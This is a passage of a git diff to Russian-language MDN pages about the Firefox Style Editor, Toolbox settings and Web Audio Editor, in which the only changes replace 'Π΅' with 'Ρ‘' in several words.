+<p>ПанСль стилСй слСва, пСрСчисляСт всС Ρ‚Π°Π±Π»ΠΈΡ†Ρ‹ стилСй Π² Ρ‚Π΅ΠΊΡƒΡ‰Π΅ΠΌ Π΄ΠΎΠΊΡƒΠΌΠ΅Π½Ρ‚Π΅. Π’Ρ‹ ΠΌΠΎΠΆΠ΅Ρ‚Π΅ быстро Π²ΠΊΠ»ΡŽΡ‡Π°Ρ‚ΡŒ ΠΈ Π²Ρ‹ΠΊΠ»ΡŽΡ‡Π°Ρ‚ΡŒ стили листа Π½Π°ΠΆΠ°Π² Π½Π° ΠΏΡ€ΠΎΡ‚ΠΈΠ² Π½Π΅Π³ΠΎ Π·Π½Π°Ρ‡ΠΎΠΊ Π³Π»Π°Π·Π°. <span id="result_box" lang="ru"><span class="hps">Π’Ρ‹</span> <span class="hps">ΠΌΠΎΠΆΠ΅Ρ‚Π΅ ΡΠΎΡ…Ρ€Π°Π½ΠΈΡ‚ΡŒ</span> <span class="hps">Π»ΡŽΠ±Ρ‹Π΅ измСнСния</span><span>, внСсённыС Π²</span> <span class="hps">Ρ‚Π°Π±Π»ΠΈΡ†Ρƒ стилСй</span> <span class="hps">Π½Π° локальном ΠΊΠΎΠΌΠΏΡŒΡŽΡ‚Π΅Ρ€Π΅</span><span>, Π½Π°ΠΆΠ°Π²</span> <span class="hps">ΠΊΠ½ΠΎΠΏΠΊΡƒ Π‘ΠΎΡ…Ρ€Π°Π½ΠΈΡ‚ΡŒ</span> <span class="hps">Π²</span> <span class="hps">ΠΏΡ€Π°Π²ΠΎΠΌ Π½ΠΈΠΆΠ½Π΅ΠΌ</span> <span class="hps">ΡƒΠ³Π»Ρƒ</span> Π²ΠΎΠ·Π»Π΅ <span class="alt-edited hps">ΠΊΠ°ΠΆΠ΄ΠΎΠ³ΠΎ листа</span> <span class="hps">Π²</span> <span class="hps">спискС.</span></span></p>
<h2 id="ПанСль_Ρ€Π΅Π΄Π°ΠΊΡ‚ΠΎΡ€Π°"><span class="short_text" id="result_box" lang="ru"><span>ПанСль Ρ€Π΅Π΄Π°ΠΊΡ‚ΠΎΡ€Π°</span></span></h2>
@@ -57,7 +57,7 @@ translation_of: Tools/Style_Editor
<h2 id="Боковая_панСль_media">Боковая панСль @media</h2>
-<p><span id="result_box" lang="ru"><span class="hps">Π‘</span> <span class="hps">Firefox</span> <span class="hps">33</span> <span class="hps">ΠΈ Π΄Π°Π»Π΅Π΅,</span> <span class="hps">Π Π΅Π΄Π°ΠΊΡ‚ΠΎΡ€</span> <span class="hps">Π‘Ρ‚ΠΈΠ»Π΅ΠΉ</span> <span class="hps">ΠΎΡ‚ΠΎΠ±Ρ€Π°ΠΆΠ°Π΅Ρ‚</span> <span class="alt-edited hps">Π±ΠΎΠΊΠΎΠ²ΡƒΡŽ панСль</span> <span class="hps">Π½Π°</span> <span class="hps">ΠΏΡ€Π°Π²ΠΎΠΉ</span> <span class="hps">сторонС</span><span>, Π³Π΄Π΅</span> <span class="hps">Ρ‚Π΅ΠΊΡƒΡ‰ΠΈΠΉ лист</span> <span class="hps">содСрТит ΠΊΠ°ΠΊΠΈΠ΅-Π»ΠΈΠ±ΠΎ</span></span> <a href="/en-US/docs/Web/Guide/CSS/Media_queries"><code>@media</code> ΠΏΡ€Π°Π²ΠΈΠ»Π°</a>. <span id="result_box" lang="ru"><span class="alt-edited">Боковая панСль</span> <span class="hps">содСрТит список</span> <span class="hps">ΠΏΡ€Π°Π²ΠΈΠ»</span> <span class="hps">ΠΈ</span> <span class="hps">ссылку Π½Π°</span> <span class="alt-edited hps">строки</span> <span class="hps">Ρ‚Π°Π±Π»ΠΈΡ†Ρ‹</span><span>, Π³Π΄Π΅</span> <span class="hps">ΠΏΡ€Π°Π²ΠΈΠ»ΠΎ</span> <span class="hps">ΠΎΠΏΡ€Π΅Π΄Π΅Π»Π΅Π½ΠΎ.</span> <span class="hps">Π©Π΅Π»ΠΊΠ½ΠΈΡ‚Π΅ элСмСнт</span><span>, Ρ‡Ρ‚ΠΎΠ±Ρ‹ ΠΏΠ΅Ρ€Π΅ΠΉΡ‚ΠΈ ΠΊ</span> <span class="hps">этому ΠΏΡ€Π°Π²ΠΈΠ»Ρƒ</span> <span class="hps">Π² листС</span><span>.</span></span>БостояниС тСкста остаётся сСрым, Ссли запрос ΠΌΠ΅Π΄ΠΈΠ° Π² настоящСС врСмя Π½Π΅ примСняСтся.</p>
+<p><span id="result_box" lang="ru"><span class="hps">Π‘</span> <span class="hps">Firefox</span> <span class="hps">33</span> <span class="hps">ΠΈ Π΄Π°Π»Π΅Π΅,</span> <span class="hps">Π Π΅Π΄Π°ΠΊΡ‚ΠΎΡ€</span> <span class="hps">Π‘Ρ‚ΠΈΠ»Π΅ΠΉ</span> <span class="hps">ΠΎΡ‚ΠΎΠ±Ρ€Π°ΠΆΠ°Π΅Ρ‚</span> <span class="alt-edited hps">Π±ΠΎΠΊΠΎΠ²ΡƒΡŽ панСль</span> <span class="hps">Π½Π°</span> <span class="hps">ΠΏΡ€Π°Π²ΠΎΠΉ</span> <span class="hps">сторонС</span><span>, Π³Π΄Π΅</span> <span class="hps">Ρ‚Π΅ΠΊΡƒΡ‰ΠΈΠΉ лист</span> <span class="hps">содСрТит ΠΊΠ°ΠΊΠΈΠ΅-Π»ΠΈΠ±ΠΎ</span></span> <a href="/en-US/docs/Web/Guide/CSS/Media_queries"><code>@media</code> ΠΏΡ€Π°Π²ΠΈΠ»Π°</a>. <span id="result_box" lang="ru"><span class="alt-edited">Боковая панСль</span> <span class="hps">содСрТит список</span> <span class="hps">ΠΏΡ€Π°Π²ΠΈΠ»</span> <span class="hps">ΠΈ</span> <span class="hps">ссылку Π½Π°</span> <span class="alt-edited hps">строки</span> <span class="hps">Ρ‚Π°Π±Π»ΠΈΡ†Ρ‹</span><span>, Π³Π΄Π΅</span> <span class="hps">ΠΏΡ€Π°Π²ΠΈΠ»ΠΎ</span> <span class="hps">ΠΎΠΏΡ€Π΅Π΄Π΅Π»Π΅Π½ΠΎ.</span> <span class="hps">Π©Ρ‘Π»ΠΊΠ½ΠΈΡ‚Π΅ элСмСнт</span><span>, Ρ‡Ρ‚ΠΎΠ±Ρ‹ ΠΏΠ΅Ρ€Π΅ΠΉΡ‚ΠΈ ΠΊ</span> <span class="hps">этому ΠΏΡ€Π°Π²ΠΈΠ»Ρƒ</span> <span class="hps">Π² листС</span><span>.</span></span>БостояниС тСкста остаётся сСрым, Ссли запрос ΠΌΠ΅Π΄ΠΈΠ° Π² настоящСС врСмя Π½Π΅ примСняСтся.</p>
<p><img alt="" src="https://mdn.mozillademos.org/files/8365/style-editor-media-sidebar-detail.png" style="display: block; margin-left: auto; margin-right: auto;">Π‘<span id="result_box" lang="ru"><span class="alt-edited hps">оковая панСль<code> ΠΌΠ΅Π΄ΠΈΠ° </code></span><span class="hps">особСнно Ρ…ΠΎΡ€ΠΎΡˆΠΎ Ρ€Π°Π±ΠΎΡ‚Π°Π΅Ρ‚</span> <span class="hps">с </span></span><a href="https://developer.mozilla.org/en-US/docs/Tools/Responsive_Design_View">Responsive Design View</a> <span lang="ru"> <span class="hps">для создания ΠΈ</span> <span class="hps">ΠΎΡ‚Π»Π°Π΄ΠΊΠΈ</span> <span class="hps">ΠΌΠΎΠ±ΠΈΠ»ΡŒΠ½Ρ‹Ρ…</span> <span class="alt-edited hps">ΠΌΠ°ΠΊΠ΅Ρ‚ΠΎΠ²</span></span>:</p>
diff --git a/files/ru/tools/tools_toolbox/index.html b/files/ru/tools/tools_toolbox/index.html
index 731de81e98..024d412795 100644
--- a/files/ru/tools/tools_toolbox/index.html
+++ b/files/ru/tools/tools_toolbox/index.html
@@ -44,7 +44,7 @@ translation_of: Tools/Tools_Toolbox
<li><a href="/ru/docs/Tools/Network_Monitor" title="/ru/docs/Performance/Profiling_with_the_Built-in_Profiler">ΠœΠΎΠ½ΠΈΡ‚ΠΎΡ€ Π‘Π΅Ρ‚Π΅Π²Ρ‹Ρ… ΠŸΠ°Ρ€Π°ΠΌΠ΅Ρ‚Ρ€ΠΎΠ²</a></li>
</ul>
-<p>Π£Ρ‡Ρ‚ΠΈΡ‚Π΅, Ρ‡Ρ‚ΠΎ Π² этом Ρ€Π°Π·Π΄Π΅Π»Π΅ Π½Π΅ всСгда ΠΌΠΎΠ³ΡƒΡ‚ Π±Ρ‹Ρ‚ΡŒ Π²ΠΈΠ΄Π½Ρ‹ всС инструмСнты ПанСли: Π² этом Ρ€Π°Π·Π΄Π΅Π»Π΅ ΠΏΠΎΠΊΠ°Π·Ρ‹Π²Π°ΡŽΡ‚ΡΡ Ρ‚ΠΎΠ»ΡŒΠΊΠΎ Ρ‚Π΅ инструмСнты, ΠΊΠΎΡ‚ΠΎΡ€Ρ‹Π΅ доступныС Π² Π΄Π°Π½Π½ΠΎΠΌ контСкстС (Π½Π°ΠΏΡ€ΠΈΠΌΠ΅Ρ€, ΠΏΠΎΠΊΠ° Π΅Ρ‰Π΅ Π½Π΅ всС инструмСнты ΠΏΠΎΠ΄Π΄Π΅Ρ€ΠΆΠΈΠ²Π°ΡŽΡ‚ Ρ„ΡƒΠ½ΠΊΡ†ΠΈΡŽ ΡƒΠ΄Π°Π»Ρ‘Π½Π½ΠΎΠΉ ΠΎΡ‚Π»Π°Π΄ΠΊΠΈ. Π’Π°ΠΊΠΈΠΌ ΠΎΠ±Ρ€Π°Π·ΠΎΠΌ, Ссли элСмСнтом ΠΎΡ‚Π»Π°Π΄ΠΊΠΈ, ΠΈΠ·-Π·Π° ΠΊΠΎΡ‚ΠΎΡ€ΠΎΠ³ΠΎ ΠΎΡ‚ΠΊΡ€Ρ‹Ρ‚Π° ПанСль инструмСнтов, являСтся ΠΎΠ±ΡŠΠ΅ΠΊΡ‚, ΠΊΠΎΡ‚ΠΎΡ€Ρ‹ΠΉ Π½Π΅ ΠΏΠΎΠ΄Π΄Π΅Ρ€ΠΆΠΈΠ²Π°Π΅Ρ‚ Ρ„ΡƒΠ½ΠΊΡ†ΠΈΡŽ ΠΎΡ‚Π»Π°Π΄ΠΊΠΈ Firefox, Ρ‚ΠΎ Π² этом Ρ€Π°Π·Π΄Π΅Π»Π΅ Π±ΡƒΠ΄ΡƒΡ‚ ΠΏΠΎΠΊΠ°Π·Π°Π½Ρ‹ Π½Π΅ всС инструмСнты Основного Π½Π°Π±ΠΎΡ€Π°).</p>
+<p>Π£Ρ‡Ρ‚ΠΈΡ‚Π΅, Ρ‡Ρ‚ΠΎ Π² этом Ρ€Π°Π·Π΄Π΅Π»Π΅ Π½Π΅ всСгда ΠΌΠΎΠ³ΡƒΡ‚ Π±Ρ‹Ρ‚ΡŒ Π²ΠΈΠ΄Π½Ρ‹ всС инструмСнты ПанСли: Π² этом Ρ€Π°Π·Π΄Π΅Π»Π΅ ΠΏΠΎΠΊΠ°Π·Ρ‹Π²Π°ΡŽΡ‚ΡΡ Ρ‚ΠΎΠ»ΡŒΠΊΠΎ Ρ‚Π΅ инструмСнты, ΠΊΠΎΡ‚ΠΎΡ€Ρ‹Π΅ доступныС Π² Π΄Π°Π½Π½ΠΎΠΌ контСкстС (Π½Π°ΠΏΡ€ΠΈΠΌΠ΅Ρ€, ΠΏΠΎΠΊΠ° Π΅Ρ‰Ρ‘ Π½Π΅ всС инструмСнты ΠΏΠΎΠ΄Π΄Π΅Ρ€ΠΆΠΈΠ²Π°ΡŽΡ‚ Ρ„ΡƒΠ½ΠΊΡ†ΠΈΡŽ ΡƒΠ΄Π°Π»Ρ‘Π½Π½ΠΎΠΉ ΠΎΡ‚Π»Π°Π΄ΠΊΠΈ. Π’Π°ΠΊΠΈΠΌ ΠΎΠ±Ρ€Π°Π·ΠΎΠΌ, Ссли элСмСнтом ΠΎΡ‚Π»Π°Π΄ΠΊΠΈ, ΠΈΠ·-Π·Π° ΠΊΠΎΡ‚ΠΎΡ€ΠΎΠ³ΠΎ ΠΎΡ‚ΠΊΡ€Ρ‹Ρ‚Π° ПанСль инструмСнтов, являСтся ΠΎΠ±ΡŠΠ΅ΠΊΡ‚, ΠΊΠΎΡ‚ΠΎΡ€Ρ‹ΠΉ Π½Π΅ ΠΏΠΎΠ΄Π΄Π΅Ρ€ΠΆΠΈΠ²Π°Π΅Ρ‚ Ρ„ΡƒΠ½ΠΊΡ†ΠΈΡŽ ΠΎΡ‚Π»Π°Π΄ΠΊΠΈ Firefox, Ρ‚ΠΎ Π² этом Ρ€Π°Π·Π΄Π΅Π»Π΅ Π±ΡƒΠ΄ΡƒΡ‚ ΠΏΠΎΠΊΠ°Π·Π°Π½Ρ‹ Π½Π΅ всС инструмСнты Основного Π½Π°Π±ΠΎΡ€Π°).</p>
<h3 id="Π”ΠΎΠΏΠΎΠ»Π½ΠΈΡ‚Π΅Π»ΡŒΠ½Ρ‹Π΅_инструмСнты">Π”ΠΎΠΏΠΎΠ»Π½ΠΈΡ‚Π΅Π»ΡŒΠ½Ρ‹Π΅ инструмСнты</h3>
@@ -159,11 +159,11 @@ translation_of: Tools/Tools_Toolbox
<h3 id="Π Π°ΡΡˆΠΈΡ€Π΅Π½Π½Ρ‹Π΅_настройки">Π Π°ΡΡˆΠΈΡ€Π΅Π½Π½Ρ‹Π΅ настройки</h3>
<ul>
- <li><em>ΠžΡ‚ΠΊΠ»ΡŽΡ‡ΠΈΡ‚ΡŒ кэш</em>: позволяСт ΠΎΡ‚ΠΊΠ»ΡŽΡ‡ΠΈΡ‚ΡŒ кэш Π±Ρ€Π°ΡƒΠ·Π΅Ρ€Π°, Ρ‡Ρ‚ΠΎΠ±Ρ‹ ΠΎΠΏΡ€Π΅Π΄Π΅Π»ΠΈΡ‚ΡŒ ΡΠΊΠΎΡ€ΠΎΡΡ‚ΡŒ Π·Π°Π³Ρ€ΡƒΠ·ΠΊΠΈ всСх Π΄Π°Π½Π½Ρ‹Ρ… ΠΈΠ· сСти. Начиная с Firefox 33 ΠΈ Π½ΠΎΠ²Π΅Π΅ эта настройка сохраняСмая. Π­Ρ‚ΠΎ ΠΎΠ·Π½Π°Ρ‡Π°Π΅Ρ‚, Ρ‡Ρ‚ΠΎ Ссли Π’Ρ‹ ΠΎΡ‚ΠΊΠ»ΡŽΡ‡ΠΈΡ‚Π΅ кэш, Π·Π°ΠΊΡ€ΠΎΠ΅Ρ‚Π΅ инструмСнты Ρ€Π°Π·Ρ€Π°Π±ΠΎΡ‚Ρ‡ΠΈΠΊΠ° ΠΈ ΠΎΡ‚ΠΊΡ€ΠΎΠ΅Ρ‚Π΅ снова, Ρ‚ΠΎ ΠΎΠ±Π½Π°Ρ€ΡƒΠΆΠΈΡ‚Π΅, Ρ‡Ρ‚ΠΎ кэш всС Π΅Ρ‰Π΅ ΠΎΡ‚ΠΊΠ»ΡŽΡ‡Π΅Π½. Π’Π΅ΠΌ Π½Π΅ ΠΌΠ΅Π½Π΅Π΅ ΠΊΡΡˆΠΈΡ€ΠΎΠ²Π°Π½ΠΈΠ΅ автоматичСски Π±ΡƒΠ΄Π΅Ρ‚ Π²ΠΊΠ»ΡŽΡ‡Π΅Π½ΠΎ ΠΊΠΎΠ³Π΄Π° инструмСнты Ρ€Π°Π·Ρ€Π°Π±ΠΎΡ‚Ρ‡ΠΈΠΊΠ° Π·Π°ΠΊΡ€Ρ‹Ρ‚Ρ‹.</li>
+ <li><em>ΠžΡ‚ΠΊΠ»ΡŽΡ‡ΠΈΡ‚ΡŒ кэш</em>: позволяСт ΠΎΡ‚ΠΊΠ»ΡŽΡ‡ΠΈΡ‚ΡŒ кэш Π±Ρ€Π°ΡƒΠ·Π΅Ρ€Π°, Ρ‡Ρ‚ΠΎΠ±Ρ‹ ΠΎΠΏΡ€Π΅Π΄Π΅Π»ΠΈΡ‚ΡŒ ΡΠΊΠΎΡ€ΠΎΡΡ‚ΡŒ Π·Π°Π³Ρ€ΡƒΠ·ΠΊΠΈ всСх Π΄Π°Π½Π½Ρ‹Ρ… ΠΈΠ· сСти. Начиная с Firefox 33 ΠΈ Π½ΠΎΠ²Π΅Π΅ эта настройка сохраняСмая. Π­Ρ‚ΠΎ ΠΎΠ·Π½Π°Ρ‡Π°Π΅Ρ‚, Ρ‡Ρ‚ΠΎ Ссли Π’Ρ‹ ΠΎΡ‚ΠΊΠ»ΡŽΡ‡ΠΈΡ‚Π΅ кэш, Π·Π°ΠΊΡ€ΠΎΠ΅Ρ‚Π΅ инструмСнты Ρ€Π°Π·Ρ€Π°Π±ΠΎΡ‚Ρ‡ΠΈΠΊΠ° ΠΈ ΠΎΡ‚ΠΊΡ€ΠΎΠ΅Ρ‚Π΅ снова, Ρ‚ΠΎ ΠΎΠ±Π½Π°Ρ€ΡƒΠΆΠΈΡ‚Π΅, Ρ‡Ρ‚ΠΎ кэш всС Π΅Ρ‰Ρ‘ ΠΎΡ‚ΠΊΠ»ΡŽΡ‡Ρ‘Π½. Π’Π΅ΠΌ Π½Π΅ ΠΌΠ΅Π½Π΅Π΅ ΠΊΡΡˆΠΈΡ€ΠΎΠ²Π°Π½ΠΈΠ΅ автоматичСски Π±ΡƒΠ΄Π΅Ρ‚ Π²ΠΊΠ»ΡŽΡ‡Π΅Π½ΠΎ ΠΊΠΎΠ³Π΄Π° инструмСнты Ρ€Π°Π·Ρ€Π°Π±ΠΎΡ‚Ρ‡ΠΈΠΊΠ° Π·Π°ΠΊΡ€Ρ‹Ρ‚Ρ‹.</li>
<li><em>ΠžΡ‚ΠΊΠ»ΡŽΡ‡ΠΈΡ‚ΡŒ JavaScript</em>: позволяСт Π²Ρ‹ΠΊΠ»ΡŽΡ‡ΠΈΡ‚ΡŒ JavaScript (трСбуСтся ΠΏΠ΅Ρ€Π΅Π·Π°Π³Ρ€ΡƒΠ·ΠΈΡ‚ΡŒ страницу)</li>
<li><em>Enable Service Workers over HTTP:</em> enable Service Worker registrations from insecure websites</li>
<li><em>Π’ΠΊΠ»ΡŽΡ‡ΠΈΡ‚ΡŒ ΠΎΡ‚Π»Π°Π΄ΠΊΡƒ chrome ΠΈ Π΄ΠΎΠΏΠΎΠ»Π½Π΅Π½ΠΈΠΉ</em>: позволяСт инструмСнтам Ρ€Π°Π·Ρ€Π°Π±ΠΎΡ‚Ρ‡ΠΈΠΊΠ° ΠΏΠΎΠ»ΡƒΡ‡ΠΈΡ‚ΡŒ доступ ΠΊ контСксту самого Π±Ρ€Π°ΡƒΠ·Π΅Ρ€Π°, Π° Π½Π΅ Ρ‚ΠΎΠ»ΡŒΠΊΠΎ Π²Π΅Π± ΠΊΠΎΠ½Ρ‚Π΅Π½Ρ‚Π°</li>
- <li><em>Π’ΠΊΠ»ΡŽΡ‡ΠΈΡ‚ΡŒ ΡƒΠ΄Π°Π»Π΅Π½Π½ΡƒΡŽ ΠΎΡ‚Π»Π°Π΄ΠΊΡƒ</em>: позволяСт Π²Ρ‹ΠΏΠΎΠ»Π½ΡΡ‚ΡŒ <a href="/ru/docs/Tools/Remote_Debugging">ΠΎΡ‚Π»Π°Π΄ΠΊΡƒ ΡƒΠ΄Π°Π»Π΅Π½Π½Ρ‹Ρ… экзСмпляров Firefox</a> с ΠΏΠΎΠΌΠΎΡ‰ΡŒΡŽ инструмСнтов Ρ€Π°Π·Ρ€Π°Π±ΠΎΡ‚Ρ‡ΠΈΠΊΠ°</li>
+ <li><em>Π’ΠΊΠ»ΡŽΡ‡ΠΈΡ‚ΡŒ ΡƒΠ΄Π°Π»Ρ‘Π½Π½ΡƒΡŽ ΠΎΡ‚Π»Π°Π΄ΠΊΡƒ</em>: позволяСт Π²Ρ‹ΠΏΠΎΠ»Π½ΡΡ‚ΡŒ <a href="/ru/docs/Tools/Remote_Debugging">ΠΎΡ‚Π»Π°Π΄ΠΊΡƒ ΡƒΠ΄Π°Π»Ρ‘Π½Π½Ρ‹Ρ… экзСмпляров Firefox</a> с ΠΏΠΎΠΌΠΎΡ‰ΡŒΡŽ инструмСнтов Ρ€Π°Π·Ρ€Π°Π±ΠΎΡ‚Ρ‡ΠΈΠΊΠ°</li>
</ul>
<h2 id="Главная_панСль">Главная панСль</h2>
diff --git a/files/ru/tools/web_audio_editor/index.html b/files/ru/tools/web_audio_editor/index.html
index 67a0751ba7..0ece177fa3 100644
--- a/files/ru/tools/web_audio_editor/index.html
+++ b/files/ru/tools/web_audio_editor/index.html
@@ -20,13 +20,13 @@ translation_of: Tools/Web_Audio_Editor
<p><span id="result_box" lang="ru"><span>Π Π°Π·Ρ€Π°Π±ΠΎΡ‚Ρ‡ΠΈΠΊ соСдиняСт ΡƒΠ·Π»Ρ‹ Π² Π²ΠΈΠ΄Π΅ Π³Ρ€Π°Ρ„ΠΈΠΊΠ°, Π° ΠΏΠΎΠ»Π½Ρ‹ΠΉ Π³Ρ€Π°Ρ„ опрСдСляСт ΠΏΠΎΠ²Π΅Π΄Π΅Π½ΠΈΠ΅ Π°ΡƒΠ΄ΠΈΠΎΠΏΠΎΡ‚ΠΎΠΊΠ°.</span></span></p>
-<p><span id="result_box" lang="ru"><span>Web Audio Editor исслСдуСт аудиоконтСкст, созданный Π½Π° страницС, ΠΈ обСспСчиваСт Π²ΠΈΠ·ΡƒΠ°Π»ΠΈΠ·Π°Ρ†ΠΈΡŽ Π΅Π³ΠΎ Π³Ρ€Π°Ρ„ΠΈΠΊΠ°.</span> <span>Π­Ρ‚ΠΎ Π΄Π°Π΅Ρ‚ Π²Π°ΠΌ прСдставлСниС ΠΎ Π΅Π³ΠΎ Ρ€Π°Π±ΠΎΡ‚Π΅ Π½Π° высоком ΡƒΡ€ΠΎΠ²Π½Π΅ ΠΈ позволяСт Π²Π°ΠΌ ΡƒΠ±Π΅Π΄ΠΈΡ‚ΡŒΡΡ, Ρ‡Ρ‚ΠΎ всС ΡƒΠ·Π»Ρ‹ ΠΏΠΎΠ΄ΠΊΠ»ΡŽΡ‡Π΅Π½Ρ‹ Ρ‚Π°ΠΊ, ΠΊΠ°ΠΊ Π²Ρ‹ ΠΎΠΆΠΈΠ΄Π°Π΅Ρ‚Π΅.</span> <span>Π—Π°Ρ‚Π΅ΠΌ Π²Ρ‹ ΠΌΠΎΠΆΠ΅Ρ‚Π΅ ΠΈΠ·ΡƒΡ‡ΠΈΡ‚ΡŒ ΠΈ ΠΎΡ‚Ρ€Π΅Π΄Π°ΠΊΡ‚ΠΈΡ€ΠΎΠ²Π°Ρ‚ΡŒ свойства AudioParam для ΠΊΠ°ΠΆΠ΄ΠΎΠ³ΠΎ ΡƒΠ·Π»Π° Π½Π° Π³Ρ€Π°Ρ„ΠΈΠΊΠ΅.</span> <span>НСкоторыС свойства non-AudioParam, Π½Π°ΠΏΡ€ΠΈΠΌΠ΅Ρ€ свойство Ρ‚ΠΈΠΏΠ° OscillatorNode, ΠΎΡ‚ΠΎΠ±Ρ€Π°ΠΆΠ°ΡŽΡ‚ΡΡ, ΠΈ Π²Ρ‹ Ρ‚Π°ΠΊΠΆΠ΅ ΠΌΠΎΠΆΠ΅Ρ‚Π΅ ΠΈΡ… Ρ€Π΅Π΄Π°ΠΊΡ‚ΠΈΡ€ΠΎΠ²Π°Ρ‚ΡŒ.</span></span></p>
+<p><span id="result_box" lang="ru"><span>Web Audio Editor исслСдуСт аудиоконтСкст, созданный Π½Π° страницС, ΠΈ обСспСчиваСт Π²ΠΈΠ·ΡƒΠ°Π»ΠΈΠ·Π°Ρ†ΠΈΡŽ Π΅Π³ΠΎ Π³Ρ€Π°Ρ„ΠΈΠΊΠ°.</span> <span>Π­Ρ‚ΠΎ Π΄Π°Ρ‘Ρ‚ Π²Π°ΠΌ прСдставлСниС ΠΎ Π΅Π³ΠΎ Ρ€Π°Π±ΠΎΡ‚Π΅ Π½Π° высоком ΡƒΡ€ΠΎΠ²Π½Π΅ ΠΈ позволяСт Π²Π°ΠΌ ΡƒΠ±Π΅Π΄ΠΈΡ‚ΡŒΡΡ, Ρ‡Ρ‚ΠΎ всС ΡƒΠ·Π»Ρ‹ ΠΏΠΎΠ΄ΠΊΠ»ΡŽΡ‡Π΅Π½Ρ‹ Ρ‚Π°ΠΊ, ΠΊΠ°ΠΊ Π²Ρ‹ ΠΎΠΆΠΈΠ΄Π°Π΅Ρ‚Π΅.</span> <span>Π—Π°Ρ‚Π΅ΠΌ Π²Ρ‹ ΠΌΠΎΠΆΠ΅Ρ‚Π΅ ΠΈΠ·ΡƒΡ‡ΠΈΡ‚ΡŒ ΠΈ ΠΎΡ‚Ρ€Π΅Π΄Π°ΠΊΡ‚ΠΈΡ€ΠΎΠ²Π°Ρ‚ΡŒ свойства AudioParam для ΠΊΠ°ΠΆΠ΄ΠΎΠ³ΠΎ ΡƒΠ·Π»Π° Π½Π° Π³Ρ€Π°Ρ„ΠΈΠΊΠ΅.</span> <span>НСкоторыС свойства non-AudioParam, Π½Π°ΠΏΡ€ΠΈΠΌΠ΅Ρ€ свойство Ρ‚ΠΈΠΏΠ° OscillatorNode, ΠΎΡ‚ΠΎΠ±Ρ€Π°ΠΆΠ°ΡŽΡ‚ΡΡ, ΠΈ Π²Ρ‹ Ρ‚Π°ΠΊΠΆΠ΅ ΠΌΠΎΠΆΠ΅Ρ‚Π΅ ΠΈΡ… Ρ€Π΅Π΄Π°ΠΊΡ‚ΠΈΡ€ΠΎΠ²Π°Ρ‚ΡŒ.</span></span></p>
-<p><span id="result_box" lang="ru"><span>Π­Ρ‚ΠΎΡ‚ инструмСнт всС Π΅Ρ‰Π΅ ΡΠΊΡΠΏΠ΅Ρ€ΠΈΠΌΠ΅Π½Ρ‚Π°Π»ΡŒΠ½Ρ‹ΠΉ.</span></span> <span id="result_box" lang="ru"><span>Если Π²Ρ‹ Π½Π°ΠΉΠ΄Π΅Ρ‚Π΅ ошибки, ΠΌΡ‹ Π±ΡƒΠ΄Π΅ΠΌ Ρ€Π°Π΄Ρ‹,</span></span> <a class="external external-icon" href="https://bugzilla.mozilla.org/enter_bug.cgi?product=Firefox&amp;component=Developer%20Tools%3A%20Web%20Audio%20Editor">Ссли Π²Ρ‹ ΠΎΡ‚ΠΏΡ€Π°Π²ΠΈΡ‚Π΅ ΠΈΡ… Π² Bugzilla</a>. <span id="result_box" lang="ru"><span>Если Ρƒ вас Π΅ΡΡ‚ΡŒ вопросы ΠΈΠ»ΠΈ прСдлоТСния ΠΏΠΎ Π½ΠΎΠ²Ρ‹ΠΌ функциям, </span></span> <a href="http://ffdevtools.uservoice.com/forums/246087-firefox-developer-tools-ideas">ffdevtools.uservoice.com</a> ΠΈΠ»ΠΈ <a href="http://twitter.com/firefoxdevtools">Twitter</a> <span id="result_box" lang="ru"><span>ΠΎΡ‚Π»ΠΈΡ‡Π½Ρ‹Π΅ мСста для ΠΈΡ… рСгистрации.</span></span></p>
+<p><span id="result_box" lang="ru"><span>Π­Ρ‚ΠΎΡ‚ инструмСнт всС Π΅Ρ‰Ρ‘ ΡΠΊΡΠΏΠ΅Ρ€ΠΈΠΌΠ΅Π½Ρ‚Π°Π»ΡŒΠ½Ρ‹ΠΉ.</span></span> <span id="result_box" lang="ru"><span>Если Π²Ρ‹ Π½Π°ΠΉΠ΄Ρ‘Ρ‚Π΅ ошибки, ΠΌΡ‹ Π±ΡƒΠ΄Π΅ΠΌ Ρ€Π°Π΄Ρ‹,</span></span> <a class="external external-icon" href="https://bugzilla.mozilla.org/enter_bug.cgi?product=Firefox&amp;component=Developer%20Tools%3A%20Web%20Audio%20Editor">Ссли Π²Ρ‹ ΠΎΡ‚ΠΏΡ€Π°Π²ΠΈΡ‚Π΅ ΠΈΡ… Π² Bugzilla</a>. <span id="result_box" lang="ru"><span>Если Ρƒ вас Π΅ΡΡ‚ΡŒ вопросы ΠΈΠ»ΠΈ прСдлоТСния ΠΏΠΎ Π½ΠΎΠ²Ρ‹ΠΌ функциям, </span></span> <a href="http://ffdevtools.uservoice.com/forums/246087-firefox-developer-tools-ideas">ffdevtools.uservoice.com</a> ΠΈΠ»ΠΈ <a href="http://twitter.com/firefoxdevtools">Twitter</a> <span id="result_box" lang="ru"><span>ΠΎΡ‚Π»ΠΈΡ‡Π½Ρ‹Π΅ мСста для ΠΈΡ… рСгистрации.</span></span></p>
<h2 id="ΠžΡ‚ΠΊΡ€Ρ‹Ρ‚ΠΈΠ΅_Π²Π΅Π±-Π°ΡƒΠ΄ΠΈΠΎΡ€Π΅Π΄Π°ΠΊΡ‚ΠΎΡ€Π°"><span class="short_text" id="result_box" lang="ru"><span>ΠžΡ‚ΠΊΡ€Ρ‹Ρ‚ΠΈΠ΅ Π²Π΅Π±-Π°ΡƒΠ΄ΠΈΠΎΡ€Π΅Π΄Π°ΠΊΡ‚ΠΎΡ€Π°</span></span></h2>
